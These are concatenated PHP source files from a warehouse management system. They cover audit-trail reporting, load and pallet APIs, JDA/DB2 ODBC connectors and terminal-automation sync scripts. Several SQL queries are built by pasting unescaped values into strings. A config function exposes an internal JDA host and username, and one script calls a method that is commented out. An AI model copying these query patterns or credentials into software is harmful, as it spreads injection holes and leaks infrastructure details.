'filter_action' => Input::get('filter_action', NULL),
'filter_reference' => Input::get('filter_reference', NULL),
'filter_user' => Input::get('filter_user', NULL),
'sort' => Input::get('sort', 'date'),
'order' => Input::get('order', 'DESC'),
'page' => NULL,
'limit' => NULL
);
$results = AuditTrail::getAuditTrails($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('audit_trail.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('audit_trail_' . date('Ymd') . '.pdf');
}
protected function getList() {
$this->data['heading_title'] = Lang::get('audit_trail.heading_title');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['label_filter_date_from'] = Lang::get('audit_trail.label_filter_date_from');
$this->data['label_filter_date_to'] = Lang::get('audit_trail.label_filter_date_to');
$this->data['label_filter_module'] = Lang::get('audit_trail.label_filter_module');
$this->data['label_filter_action'] = Lang::get('audit_trail.label_filter_action');
$this->data['label_filter_reference'] = Lang::get('audit_trail.label_filter_reference');
$this->data['label_filter_user'] = Lang::get('audit_trail.label_filter_user');
$this->data['col_id'] = Lang::get('audit_trail.col_id');
$this->data['col_transaction_date'] = Lang::get('audit_trail.col_transaction_date');
$this->data['col_module'] = Lang::get('audit_trail.col_module');
$this->data['col_reference'] = Lang::get('audit_trail.col_reference');
$this->data['col_username'] = Lang::get('audit_trail.col_username');
$this->data['col_action'] = Lang::get('audit_trail.col_action');
$this->data['col_details'] = Lang::get('audit_trail.col_details');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_archive'] = Lang::get('general.button_archive');
// URL
$this->data['url_export'] = URL::to('audit_trail/export');
// Search Options
$user_options = array();
foreach (User::getUserOptions() as $item) {
$user_options[$item->id] = $item->username;
}
$this->data['filter_user_options'] = array('' => Lang::get('general.text_select')) + $user_options;
$modules = Config::get('audit_trail_modules');
unset($modules['product'], $modules['slotmaster']);
$this->data['filter_module_options'] = array('' => Lang::get('general.text_select')) + $modules;
// echo '<pre>';dd($this->data['filter_module_options']);
// Search Filters
$filter_date_from = Input::get('filter_date_from', NULL);
$filter_date_to = Input::get('filter_date_to', NULL);
$filter_module = Input::get('filter_module', NULL);
$filter_action = Input::get('filter_action', NULL);
$filter_reference = Input::get('filter_reference', NULL);
$filter_user = Input::get('filter_user', NULL);
$sort = Input::get('sort', 'date');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
// Errors
$this->data['error_date'] = '';
if (($filter_date_from!='' && $filter_date_to==NULL) || ($filter_date_from==NULL && $filter_date_to!='')) {
$this->data['error_date'] = Lang::get('audit_trail.error_date');
}
// Data
$arrParams = array(
'filter_date_from' => $filter_date_from,
'filter_date_to' => $filter_date_to,
'filter_module' => $filter_module,
'filter_action' => $filter_action,
'filter_reference' => $filter_reference,
'filter_user' => $filter_user,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = AuditTrail::getAuditTrails($arrParams);
$results_total = AuditTrail::getCountAuditTrails($arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_date_from' => $filter_date_from,
'filter_date_to' => $filter_date_to,
'filter_module' => $filter_module,
'filter_action' => $filter_action,
'filter_reference' => $filter_reference,
'filter_user' => $filter_user,
'sort' => $sort,
'order' => $order
);
$this->data['audit_trails'] = Paginator::make($results, $results_total, 30);
$this->data['audit_trails_count'] = $results_total;
$this->data['counter'] = $this->data['audit_trails']->getFrom();
$this->data['filter_date_from'] = $filter_date_from;
$this->data['filter_date_to'] = $filter_date_to;
$this->data['filter_module'] = $filter_module;
$this->data['filter_action'] = $filter_action;
$this->data['filter_reference'] = $filter_reference;
$this->data['filter_user'] = $filter_user;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_date_from=' . $filter_date_from . '&filter_date_to=' . $filter_date_to;
$url .= '&filter_module=' . $filter_module . '&filter_action=' . $filter_action;
$url .= '&filter_reference=' . $filter_reference . '&filter_user=' . $filter_user;
$url .= '&page=' . $page;
$order_audit_id = ($sort=='audit_id' && $order=='ASC') ? 'DESC' : 'ASC';
$order_date = ($sort=='date' && $order=='ASC') ? 'DESC' : 'ASC';
$order_module = ($sort=='module' && $order=='ASC') ? 'DESC' : 'ASC';
$order_reference = ($sort=='reference' && $order=='ASC') ? 'DESC' : 'ASC';
$order_username = ($sort=='username' && $order=='ASC') ? 'DESC' : 'ASC';
$order_action = ($sort=='action' && $order=='ASC') ? 'DESC' : 'ASC';
$order_details = ($sort=='details' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_audit_id'] = URL::to('audit_trail' . $url . '&sort=audit_id&order=' . $order_audit_id, NULL, FALSE);
$this->data['sort_date'] = URL::to('audit_trail' . $url . '&sort=date&order=' . $order_date, NULL, FALSE);
$this->data['sort_module'] = URL::to('audit_trail' . $url . '&sort=module&order=' . $order_module, NULL, FALSE);
$this->data['sort_reference'] = URL::to('audit_trail' . $url . '&sort=reference&order=' . $order_reference, NULL, FALSE);
$this->data['sort_username'] = URL::to('audit_trail' . $url . '&sort=username&order=' . $order_username, NULL, FALSE);
$this->data['sort_action'] = URL::to('audit_trail' . $url . '&sort=action&order=' . $order_action, NULL, FALSE);
$this->data['sort_details'] = URL::to('audit_trail' . $url . '&sort=details&order=' . $order_details, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('audit_trail.list', $this->data);
}
protected function moduleOptions() {
return array(
'' => 'Please Select',
'Purchase Order' => 'Purchase Order',
'JDA Sync' => 'JDA Sync',
'Mobile Sync' => 'Mobile Sync',
'Users' => 'Users',
'User Roles' => 'User Roles'
);
}
//pull JDA
public function archive() {
try {
$result = CommonHelper::archiveLogs();
if($result) AuditTrail::truncate();
return Redirect::to('audit_trail')->with('message', Lang::get('audit_trail.text_success_archive'));
} catch (Exception $e) {
return Redirect::to('audit_trail')->withErrors(Lang::get('audit_trail.text_success_archive_error'));
}
}
}<file_sep><?php
class ApiSlotMasterList extends BaseController {
/**
* Display a upc listing of the resource.
*
* @return Response
*/
public function index() {
try {
$slot_list = SlotList::all();
DebugHelper::log(__METHOD__, $slot_list->toArray());
return Response::json(array(
'error' => false,
'message' => 'Success',
'result' => $slot_list->toArray()),
200
);
}catch(Exception $e) {
return Response::json(array(
"error" => true,
"result" => $e->getMessage()),
400
);
}
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
class JDAConnect {
private $system;
private $lib_name;
private $username;
private $password;
public function __construct()
{
//instantiate the jda db
$config = jda_credentials();
$this->system = $config['system'];
$this->lib_name = $config['lib_name'];
$this->username = $config['username'];
$this->password = $config['<PASSWORD>'];
}
public function getLibrary()
{
return $this->lib_name;
}
public function connect()
{
try {
$cnString = "odbc:DRIVER={iSeries Access ODBC Driver}; ".
"SYSTEM={$this->system}; ".
"DATABASE={$this->lib_name}; ".
"UID={$this->username}; ".
"PWD={<PASSWORD>};";
echo "Connecting to JDA... \n";
echo "SYSTEM : {$this->system}\t";
echo "LIBRARY : {$this->lib_name}\n";
echo "UID : {$this->username}\t";
echo "PWD : ".str_repeat('*', strlen($this->password) + rand(1,20)). "\n";
$this->dbh = new PDO($cnString,"","");
//$this->dbh = new PDO($cn_string,"","");
// $this->dbh->setAttribute(PDO::ERRMODE_EXCEPTION, PDO::ATTR_CURSOR);
echo "\nConnected Successfully! \n ";
} catch (PDOException $e) {
echo "\nCan't Connect \n {$e->getMessage()} \n";
exit();
}
}
public function runDb2Query($query) {
/**
* @param $query = statement/query
**/
echo "QUERY:".$query;
$statement = $this->dbh->prepare($query);
if(!$statement)
{
echo "fail. error:\n\n";
print_r($this->dbh->errorInfo());
exit();
}
$statement->execute();
return $statement->fetchAll(PDO::FETCH_ASSOC);
}
public function runDb2QueryFirst($query)
{
$statement = $this->dbh->prepare($query);
$statement->execute();
$result = $statement->fetch();
return $result;
}
public function Closed() {
return $this->dbh = null;
}
protected function query($query)
{
try
{
$prep_result = $statement = $this->dbh->prepare($query);
if(!$prep_result)
{
dd('Something went wrong. Please contact your system administrator and provide a screenshot of this screen',
$this->dbh->errorInfo(),
'Host:'.$this->db_host.' / Name:'.$this->db_name,
'query',$query);
}
else
{
$statement->execute();
$result = $statement->fetchAll();
return $result;
}
}
catch(\Exception $e)
{
dd($e);
}
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class db_subloc_receiving_function {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getClosedSublocReceive() {
$query = "SELECT so_no as move_doc_number from wms_store_return where so_status=23 and sync_status = '0'";
return $this->sql_conn->runQuery($query);
}
public function getQtySublocReceive($mts_no) {
$query = " SELECT wms_product_lists.sku as sku, wms_store_return_detail.received_qty as moved_qty
from wms_store_return_detail
left join wms_product_lists on wms_store_return_detail.sku = wms_product_lists.upc
where so_no ='$mts_no'";
return $this->sql_conn->runQuery($query);
}
/* public function updateIsSyncedSublocReceive($doc_no) {
$query = " UPDATE wms_store_return_detail set sync_status =1 where so_no = '$doc_no'";
return $this->sql_conn->updateQuery($query);
}*/
public function JDAUpdateSublocReceiveQty($whmove, $inumbr, $qty) {
$query = "UPDATE ".$this->jda->getLibrary().".trfdtl
SET trfrec = ".$qty."
WHERE trfbch = ".$whmove."
AND inumbr ='".$inumbr."'";
return $this->jda->runDb2Query($query);
}
}<file_sep><?php
require_once(__DIR__ . '/db_connection/DBwhshipping.php');
require_once(__DIR__ . '/keystroke/whshipping.php');
$db_connect = new DB_function_whshipping();
$db_connect->connect();
$getClosed = $db_connect->getLoadCodeShip();
foreach ($getClosed as $header)
{
echo "Transfer No. : ".$header['Transfer_no']."\n";
/// $getLoadNumber = $db_connect->getShipping($header['load_code']);
////echo " Transfer no. : ".$details['move_doc_number']."\n";
$WHShipping = new WHShipping ();
$WHShipping->Login();
if($WHShipping)
{
$WHShipping->Initiate();
$WHShipping->DoWHShipping($header['Transfer_no']);
$db_connect->updateIsSyncedWHShipping($header['Transfer_no']);
}
}
<file_sep><?php
return array(
"unmoved" => 0,
"moved" => 1,
"closed" => 2
);
//move to dataset<file_sep><?php
class ApiLoads extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Generate Load Code
*
* @example www.example.com/api/{version}/boxes/create/load
*
* @return load code
*/
public function generateLoadCode()
{
try {
DB::beginTransaction();
$loadMax = Load::select(DB::raw('max(id) as max_created, max(load_code) as load_code'))->first()->toArray();
if($loadMax['max_created'] === null) {
$loadCode = 'LD0000001';
} else {
$loadCode = substr($loadMax['load_code'], -7);
$loadCode = (int) $loadCode + 1;
$loadCode = 'LD' . sprintf("%07s", (int)$loadCode);
}
Load::create(array('load_code' => $loadCode));
self::generateLoadCodeAuditTrail($loadCode);
DB::commit();
return CommonHelper::return_success_message($loadCode);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Audit trail for generating load code
*
* @example self::generateLoadCodeAuditTrail()
*
* @param $loadCodeload code
* @return void
*/
private function generateLoadCodeAuditTrail($loadCode)
{
$user_id = Authorizer::getResourceOwnerId();
$userInfo = User::find($user_id);
$data_after = 'Load code # '.$loadCode . ' generated by ' . $userInfo->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.generate_load_code"),
'reference' => 'Load code # ' . $loadCode,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
public function getList() {
try {
$loads = Load::getLoads();
return CommonHelper::return_success_message($loads);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
public function loadBoxes()
{
try {
CommonHelper::setRequiredFields(array('data', 'load_code'));
$boxLists = json_decode(Request::get('data'));
$loadCode = Request::get('load_code');
DB::beginTransaction();
// print_r($boxLists); die();
foreach ($boxLists as $boxCode)
{
$boxCode = $boxCode->box_code;
//get boxes info
$boxInfo = Box::getBoxList($boxCode);
if(empty($boxInfo)) throw new Exception("Box code does not exist");
$soNos = array_unique(explode(',', $boxInfo['so_no'])); //remove duplicate so_no
StoreOrder::updateLoadCode($soNos, $loadCode);
$pallete = Pallet::getOrCreatePallete($boxInfo['store_code'], $loadCode);
Log::info(__METHOD__ .' dump pallet: '.print_r($pallete,true));
PalletDetails::create(array(
'box_code' => $boxCode,
'pallet_code' => $pallete['pallet_code']
));
Log::info(__METHOD__ .' dump PalletDetails: '.print_r(array('box_code'=> $boxCode,'pallet_code'=> $pallete['pallet_code']),true));
$useBox = Box::updateBox(array(
"box_code" => $boxInfo['box_code'],
"store" => $boxInfo['store_code'],
"in_use" => Config::get('box_statuses.in_use')
));
Log::info(__METHOD__ . 'dump boxInfo: ' .print_r($boxInfo, true));
self::createJdaTransaction($boxInfo);
}
self::loadBoxesAuditTrail(Request::get('data'), $loadCode);
DB::commit();
return CommonHelper::return_success();
} catch (Exception $e) {
DB::rollback();
Log::error(__METHOD__ .$e->getMessage());
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Audit trail for picklist loading
*
* @example self::loadBoxesAuditTrail()
*
* @param $boxCodes box codes
* @param $loadCode load code
* @return void
*/
private function loadBoxesAuditTrail($boxCodes, $loadCode)
{
$boxCodes = json_decode($boxCodes, true);
$newArray = array();
foreach ($boxCodes as $value) {
$newArray[] = implode(',', $value);
}
$boxCodes = implode(',', $newArray);
$user_id = Authorizer::getResourceOwnerId();
$userInfo = User::find($user_id);
$data_after = 'Box code # '.$boxCodes . ' loaded to Load # ' . $loadCode .' by '. $userInfo->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.boxing"),
'action' => Config::get("audit_trail.box_load"),
'reference' => 'Box code # ' . $boxCodes,
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
protected function createJdaTransaction($data)
{
Log::info(__METHOD__ .' dump: '.print_r($data,true));
$getUniqueBox = BoxDetails::getUniqueBoxPerDocNo($data['move_doc_number']);
// Log::info(__METHOD__ .' dump: '.print_r($getUniqueBox,true));
$boxParams = array(
'module' => Config::get('transactions.module_box'),
'jda_action' => Config::get('transactions.jda_action_box'),
'reference' => $getUniqueBox['box_code']
);
//create jda transaction for box header
Log::info(__METHOD__ .' dump boxParams: '.print_r($boxParams,true));
$boxResp = JdaTransaction::insert($boxParams);
if(is_array($getUniqueBox)) {
$getPallet = PalletDetails::getPallet($getUniqueBox['box_code']);
Log::info(__METHOD__ .' dump getPallet: '. $getUniqueBox['box_code'] . ' ' .print_r($getPallet,true));
if(is_array($getPallet)) {
$palletParams = array(
'module' => Config::get('transactions.module_pallet'),
'jda_action' => Config::get('transactions.jda_action_pallet'),
'reference' => $getPallet['pallet_code']
);
//create jda transaction for pallet header
$palletResp = JdaTransaction::insert($palletParams);
$getLoad = LoadDetails::getLoad($getPallet['pallet_code']);
$loadParams = array(
'module' => Config::get('transactions.module_load'),
'jda_action' => Config::get('transactions.jda_action_load'),
'reference' => $getLoad['load_code']
);
//create jda transaction for load header
$loadResp = JdaTransaction::insert($loadParams);
$palletizeBoxParams = array(
'module' => Config::get('transactions.module_palletize_box'),
'jda_action' => Config::get('transactions.jda_action_palletize_box'),
'reference' => $getPallet['pallet_code']
);
//create jda transaction for pallete to box
$palletBoxResp = JdaTransaction::insert($palletizeBoxParams);
$loadingParams = array(
'module' => Config::get('transactions.module_loading'),
'jda_action' => Config::get('transactions.jda_action_loading'),
'reference' => $getLoad['load_code']
);
//create jda transaction for loading
$insertLoad = JdaTransaction::insert($loadingParams);
$docNo = $data['move_doc_number'];
$boxNo = $getUniqueBox['box_code'];
$palletNo = $getPallet['pallet_code'];
$loadNo = $getLoad['load_code'];
}
}
}
}<file_sep><?php
require_once(__DIR__ . '/db_connection/db_purchase_order.php');
require_once(__DIR__ . '/keystroke/WHPurchaseOrder.php');
require_once(__DIR__ . '/keystroke/WHManual_Move.php');
$db_connect = new db_purchase_order_function();
$db_connect->connect();
$getClosedPO = $db_connect->getClosedPO();
foreach ($getClosedPO as $header)
{
///////////////////////LOOP OF PO///////////////////////////////////
///////////////////////Updating quantity///////////////////////////////////
echo "Receiver no :".$header['receiver_no']."\n";
$getPickedQty = $db_connect->getQtyPO($header['receiver_no']);
foreach ($getPickedQty as $details)
{
echo " SKU ->".$details['sku']." ".$details['moved_qty']."\n";
$db_connect->JDAUpdatePOQty($header['receiver_no'], $details['sku'],$details['moved_qty']);
}
///////////////////////Updating quantity///////////////////////////////////
$getNotInPOQty = $db_connect->getNotInPO($header['purchase_order_no'], $header['receiver_no']);
$WHPurchaseOrder = new WHPurchaseOrder ();
$WHPurchaseOrder->Login();
if($WHPurchaseOrder)
{
$WHPurchaseOrder->Initiate();
$WHPurchaseOrder->DoPurchaseOrder($header['receiver_no'],$header['invoice_no'],$header['po_status'], $getNotInPOQty);
/*
$WHManualMove = new WHManualMove ();
$WHManualMove->Login();
foreach ($getPickedQty as $keyvalue)
{
if($WHManualMove)
{
$WHManualMove->Initiate();
$WHManualMove->DoManualMove( $keyvalue['sku'],$keyvalue['slot_code'],$keyvalue['moved_qty']);
//$db_connect->updateIsSyncedShipping($header['load_code']);
}
}
$WHManualMove->LogOut();*/
}
//$db_connect->updateIsSyncedPO($header['receiver_no']);
///////////////////////LOOP OF PO///////////////////////////////////
}
<file_sep><?php
/**
* Functions use in DB2/odbc
*
* @package SSI-WMS
* @subpackage DB2
* @category Helpers
* @author <NAME> | <EMAIL> | <EMAIL>
* @version Version 1.0
*
*/
class DB2Helper {
/** @var \dsn */
protected $dsn;
/** @var \username */
protected $username;
/** @var \password */
protected $password;
/** @var \connection instance */
protected $db2;
public function __construct()
{
// echo "Connecting to DB2... \n";
$this->dsn = Config::get('app.db2_dsn');
$this->username = Config::get('app.db2_username');
$this->password = Config::get('app.db2_password');
$this->db2 = @odbc_connect($this->dsn,$this->username,$this->password,SQL_CUR_USE_DRIVER);
if (!($this->db2)) {
throw new Exception("Error! Couldn't Connect To DB2 Database. Error Code: ".odbc_error());
}
}
public function updateRecord($sql)
{
$result = @odbc_exec($this->db2,$sql);
if (!($result)) {
throw new Exception("Error! Couldn't Run Query. Error Code: ".odbc_error());
}
return $result;
}
public function get($sql)
{
$tempFieldNames = "";
$result = @odbc_exec($this->db2,$sql);
if (!($result)) {
throw new Exception("Error! Couldn't Run Query. Error Code: ".odbc_error());
}
unset($tempFieldNames);
$toReturn = "";
$i = 0;
$j = 0;
while(odbc_fetch_row($result))
{
//Build tempory
for ($j = 1; $j <= odbc_num_fields($result); $j++) {
$field_name = odbc_field_name($result, $j);
$tempFieldNames[$j] = $field_name;
$ar[$field_name] = odbc_result($result, $field_name);
}
$toReturn[$i] = $ar;
$i++;
}
return $toReturn;
}
public function close()
{
// echo "Closing odbc connection... \n";
odbc_close($this->db2);
}
}
<file_sep><?php
function jda_credentials() {
return array(
'system' => 'jdaprod2.rgoc.com.ph',
'lib_name' => 'MMRSTLIB',
'username' => 'DEBSPGMR',
'password' => '<PASSWORD>'
);
}
function mysql_credentials() {
return array(
'hostname' => 'localhost',
'database' => 'deve',
'username' => 'root',
'password' => ''
);
}<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class putawayReserve extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
public static $warehouseNo = "9005 ";
public static $fromSlot = "RZ000001";
/*
13
04
03
03
Warehouse number: 9005
space bar - to delete the rest of the number
enter sku number: 900483
tab
SYS
From slot: RZ000001
to slot: PCK00001
Quantity: 4
END
F7
F1
F7
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterGeneralMaintenance()
{
parent::$jda->screenWait("Move And General Maintenance");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("03",22,44)),ENTER,true);
echo "Entered: Move And General Maintenance \n";
}
private static function enterManualMoves()
{
parent::$jda->screenWait("Manual Moves");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("03",22,44)),ENTER,true);
echo "Entered: Manual Moves \n";
}
public function enterInventoryMovement()
{
parent::$jda->screenWait("Vendor/Vendor");
parent::display(parent::$jda->screen,132);
echo "Entered: Inventory Movement \n";
}
public function enterForm($data) {
print_r($data);
$sku = $data['sku'];
$quantity = $data['quantity'];
$toSlot = $data['toSlot'];
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%5s", self::$warehouseNo), 4, 32);// enter warehouse number
$formValues[] = array(sprintf("%9d", $sku), 6, 32);// enter sku
$formValues[] = array(self::$user, 11, 32);// enter clerk initial
$formValues[] = array(sprintf("%8s", self::$fromSlot), 13, 32);// enter from slot
// $formValues[] = array(sprintf("%8s", $toSlot), 14, 32);// enter to slot
$formValues[] = array($toSlot, 14, 32);// enter to slot
$formValues[] = array(sprintf("%11d", $quantity), 15, 32);// enter quantity
parent::$jda->write5250($formValues,F7,true);
self::checkResponse($data,__METHOD__);
}
private static function checkResponse($data = array(),$source)
{
# error
if(parent::$jda->screenCheck('Please enter a valid warehouse number')) {
$receiver_message="Please enter a valid warehouse number";
self::$formMsg = "{self::$warehouseNo}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("Invalid 'sku' entered")) {
$receiver_message="Invalid 'sku' entered";
self::$formMsg = "{$data['sku']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("Clerk is not valid")) {
$receiver_message="Clerk is not valid";
self::$formMsg = "{self::$warehouseNo}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("'From slot' or 'new primary slot' must be entered")) {
$receiver_message="From slot or new primary slot must be entered";
self::$formMsg = "{self::$fromSlot}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("To slot or new primary slot must be entered")) {
$receiver_message="To slot or new primary slot must be entered";
self::$formMsg = "{$data['toSlot']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("Slot not valid for this warehouse")) {
$receiver_message="Slot not valid for this warehouse";
self::$formMsg = "{$data['toSlot']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck("Use of decimals incorrect or too many numbers entered")) {
$receiver_message="Use of decimals incorrect or too many numbers entered";
self::$formMsg = "{$data['quantity']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Quantity requested to move exceeds quantity available')) {
$receiver_message="Quantity requested to move exceeds quantity available";
self::$formMsg = "{$data['sku']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
if(parent::$jda->screenCheck('Cannot move between two identical slots')) {
$receiver_message="Cannot move between two identical slots";
self::$formMsg = "{$data['sku']}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($data,"{$source}: {$receiver_message}", TRUE);
}
echo self::$formMsg;
# end error
# upon success
if(parent::$jda->screenCheck('moved from RZ000001')) {
echo "\n Successfully added to PCK00001";
self::updateSyncStatus($data);
}
# when all forms are ok but the qty entered is 0
if(parent::$jda->screenCheck('has been changed to')) {
echo "\n Primary slot for SKU {$data['sku']} has been changed to";
}
}
/*public function getSkus() {
$db = new pdoConnection();
echo "\n Getting data from slot_details \n";
$sql = "SELECT slot_id, wms_product_lists.sku AS sku, quantity FROM wms_slot_details
INNER JOIN wms_product_lists ON wms_slot_details.sku = wms_product_lists.upc
WHERE sync_status = 0";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($data = array(),$error_message=null, $isError = FALSE) {
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$sku = $data['sku'];
$slot = $data['toSlot'];
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
/*$sql = "UPDATE wms_slot_details
SET sync_status = 1, updated_at = '{$date_today}'
WHERE sku = {$sku} AND slot_id = '{$slot}'";*/
$sql = "UPDATE wms_slot_details sd
SET sync_status = {$status}, updated_at = '{$date_today}', error_message = '{$error_message}'
WHERE sd.sku = (SELECT upc FROM wms_product_lists pl WHERE pl.sku = {$sku}) AND slot_id = '{$slot}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToManualMoves()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Putaway to Reserve \n";
echo $title;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
parent::enterWarehouseMaintenance();
self::enterGeneralMaintenance();
self::enterManualMoves();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
public function logout()
{
parent::logout();
}
}
$db = new pdoConnection(); //open db connection
$skus = $db->getPutawaySkus();
$db->close(); //close db connection
if(! empty($skus) )
{
$putawayReserve = new putawayReserve();
$putawayReserve->enterUpToManualMoves();
$params = array();
foreach($skus as $value)
{
$params = array(
'toSlot' => $value['slot_id'],
'sku' => $value['sku'],
'quantity' => $value['quantity']
);
$putawayReserve->enterInventoryMovement();
$putawayReserve->enterForm($params);
}
$putawayReserve->logout();
}
else {
echo " \n No rows found!. \n";
}
$putawayReserve = new putawayReserve();
$putawayReserve->enterUpToManualMoves();
$skus = $putawayReserve->getSkus();
$params = array();
if(! empty($skus) )
{
foreach($skus as $value)
{
$params = array(
'toSlot' => $value['slot_id'],
'sku' => $value['sku'],
'quantity' => $value['quantity']
);
$putawayReserve->enterInventoryMovement();
$putawayReserve->enterForm($params);
}
}
$putawayReserve->logout();
<file_sep><?php
class StoreReturnDetail extends Eloquent {
protected $table = 'store_return_detail';
protected $fillable = array('sku', 'so_no');
/********************Methods for CMS only**************************/
public static function getFilteredPicklistDetailasdf($picklistDoc, $data = array(), $getCount= false)
{
$query = StoreReturnDetail::SELECT('store_return_detail.sku as upc',
'store_return_detail.delivered_qty', 'store_return_detail.received_qty', DB::RAW("COALESCE(wms_product_lists.sku, 'No Result Found') as sku,COALESCE(wms_product_lists.description, 'No Result Found') as description "))
->join('product_lists','store_return_detail.sku','=','product_lists.upc', 'left')
->WHERE('store_return_detail.so_no','=', $picklistDoc);
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('store_return_detail.sku', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_so']) ) $query->where('product_lists.sku', 'LIKE', '%'.$data['filter_so'].'%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = $query->count();
}
return $result;
}
public static function getSODetails($so_no,$data = array()){
// print_r($data); die();
$query = StoreReturnDetail::join('product_lists', 'store_return_detail.sku', '=', 'product_lists.upc')
->join('store_return', 'store_return.so_no', '=', 'store_return_detail.so_no', 'LEFT')
->select(DB::raw('convert(wms_product_lists.sku, decimal) as sku, convert(wms_product_lists.upc, decimal(20,0)) as upc'),'product_lists.description','store_return_detail.received_qty','store_return_detail.delivered_qty','store_return.created_at')
// ->join('dataset', 'store_return.so_status', '=', 'dataset.id');
->where('store_return_detail.so_no', '=', $so_no);
if( CommonHelper::hasValue($data['filter_so_no']) ) $query->where('store_return.so_no', 'LIKE', '%'.$data['filter_so_no'].'%');
// if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_name', 'LIKE', '%'.$data['filter_store_name'].'%');
if( CommonHelper::hasValue($data['filter_created_at']) ) $query->where('store_return.created_at', 'LIKE', '%'.$data['filter_created_at'].'%');
if( CommonHelper::hasValue($data['filter_status']) ) {
$arrParams = array('data_code' => 'SR_STATUS_TYPE', 'data_value'=> $data['filter_status']);
$sr_status = Dataset::getType($arrParams)->toArray();
$query->where('so_status', 'LIKE', '%'.$sr_status['id'].'%');
}
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'product_lists.sku';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='store') $data['sort'] = 'product_lists.upc';
if ($data['sort']=='short_name') $data['sort'] = 'product_lists.short_description';
if ($data['sort']=='ordered_quantity') $data['sort'] = 'store_return_detail.received_qty';
if ($data['sort']=='delivered_quantity') $data['sort'] = 'store_return_detail.delivered_qty';
if ($data['sort']=='so_no') $data['sort'] = 'store_return.so_no';
